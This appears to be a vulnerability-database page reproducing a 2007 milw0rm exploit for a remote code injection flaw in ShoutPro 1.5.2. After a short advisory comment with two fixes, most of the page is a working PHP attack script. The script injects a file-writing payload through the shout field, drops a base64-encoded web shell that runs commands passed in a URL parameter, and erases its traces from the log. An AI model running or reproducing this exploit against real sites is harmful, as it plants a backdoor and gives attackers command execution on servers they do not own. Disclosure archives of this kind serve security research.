Lucene search
K

ShoutPro <= 1.5.2 (shout.php) Remote Code Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

ShoutPro 1.5.2 Remote Code Injection Exploi

Code

                                                &#60;?/*
File: shoutbox.php
Affects: ShoutPro 1.5.2 (may affect earlier versions)
Date: 17th April 2007

Issue Description:
===========================================================================
ShoutPro 1.5.2 fails to fully sanitize user input ($shout) that it writes
to the shouts.php file when adding a new message, this can result in the
injection and execution of arbitrary php code.
===========================================================================

Scope:
===========================================================================
The vulnerability will in most cases allow an attacker to execute commands
on the system, the issue may be further perpetuated if the user has followed
the official documentation and chmoded the base folder to &#39;777&#39;
===========================================================================

Recommendation:
===========================================================================
1) Add code to perform strip_tags() on $shout in shoutbox.php
2) Prevent direct access to shouts.php with a .htaccess file
===========================================================================

Discovered By: Gammarays
*/?&#62;


&#60;?php

echo &#34;########################################################\n&#34;;
echo &#34;#   Special Greetings To - Timq,Warpboy,The-Maggot     #\n&#34;;
echo &#34;########################################################\n\n\n&#34;;

//Writes Files - Under 100 bytes to meet requirements
$temppayload = &#34;%3C%3F%24a%3Dfopen%28%24_POST%5B%27f%27%5D%2C%27w%27%29%3Bfwrite%28%24a%2Cbase64_decode%28%24_POST%5B%27d%27%5D%29%29%3Bfclose%28%24a%29%3B%3F%3E&#34;;

//Execute Commands + Performs Cleanup
$payload = &#34;PD9waHAgCgppZihpc3NldCgkX0dFVFsnY21kJ10pKQp7CmVjaG8gc2hlbGxfZXhlYyh1cmxkZWNv&#34;.
          &#34;ZGUoJF9HRVRbJ2NtZCddKSk7CmRpZSgpOwp9CgppZigkX1BPU1RbJ2NsZWFuJ109PSdkb2l0Jykg&#34;.
          &#34;Y2xlYW4oKTsKCmZ1bmN0aW9uIGNsZWFuKCkKewogICRsMSA9IGZpbGUoJ3Nob3V0cy5waHAnKTsK&#34;.
          &#34;ICAkZmggPSBmb3Blbignc2hvdXRzLnBocCcsJ3cnKTsKICBpZighJGZoKSBkaWUoKTsKCiAgZm9y&#34;.
          &#34;ZWFjaCAoJGwxIGFzICRsMikgCiAgewoJaWYoIXN0cnN0cigkbDIsIiRhPWZvcGVuIikpCgl7CgkJ&#34;.
          &#34;ZnByaW50ZigkZmgsJGwyKTsKCX0gICAgCiAgfQogIGZjbG9zZSgkZmgpOwp9Cgo/Pg==&#34;;



if($argc!=2) die(&#34;Usage: &#60;url&#62; \n\tEx: http://www.example.com/shoutpro/\n&#34;);

$url = $argv[1];
//$url = &#34;http://localhost/ShoutPro1.5.2/&#34;;

$ch = curl_init($url . &#34;shoutbox.php&#34;);
if(!$ch) die(&#34;Error Initializing CURL&#34;);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
if(!$res) die(&#34;Error Connecting To Target - Is URL Valid?&#34;);

echo &#34;[ ] Deploying Temp Payload...\n&#34;;

curl_setopt($ch, CURLOPT_URL,$url . &#34;shoutbox.php?action=post&#34;);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch,
CURLOPT_POSTFIELDS,&#34;name=Beethoven&pass=&shout=&#34;.$temppayload.&#34;&post=Post&#34;);
$res = curl_exec($ch);
if(!$res) die(&#34;Error Deploying Temp Payload&#34;);

echo &#34;[ ] Deploying Main Payload...\n&#34;;

curl_setopt($ch, CURLOPT_URL,$url . &#34;shouts.php&#34;);
curl_setopt($ch, CURLOPT_POSTFIELDS,&#34;f=module.php&d=&#34;.$payload);
$res = curl_exec($ch);
if(!$res) die(&#34;Error Deploying Main Payload&#34;);

echo &#34;[ ] Attempting Clean Up...\n&#34;;

curl_setopt($ch, CURLOPT_URL,$url . &#34;module.php&#34;);
curl_setopt($ch, CURLOPT_POSTFIELDS,&#34;clean=doit&#34;);
$res = curl_exec($ch);
if(!$res) die(&#34;Error - Clean Up Failed&#34;);

echo &#34;[ ] Clean Up Complete\n&#34;;
echo &#34;[ ] Shell Accessible at &#34;.$url.&#34;module.php?cmd=&#60;yourcommand&#62;&#34;;

curl_close($ch);
?&#62;

# milw0rm.com [2007-04-17]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation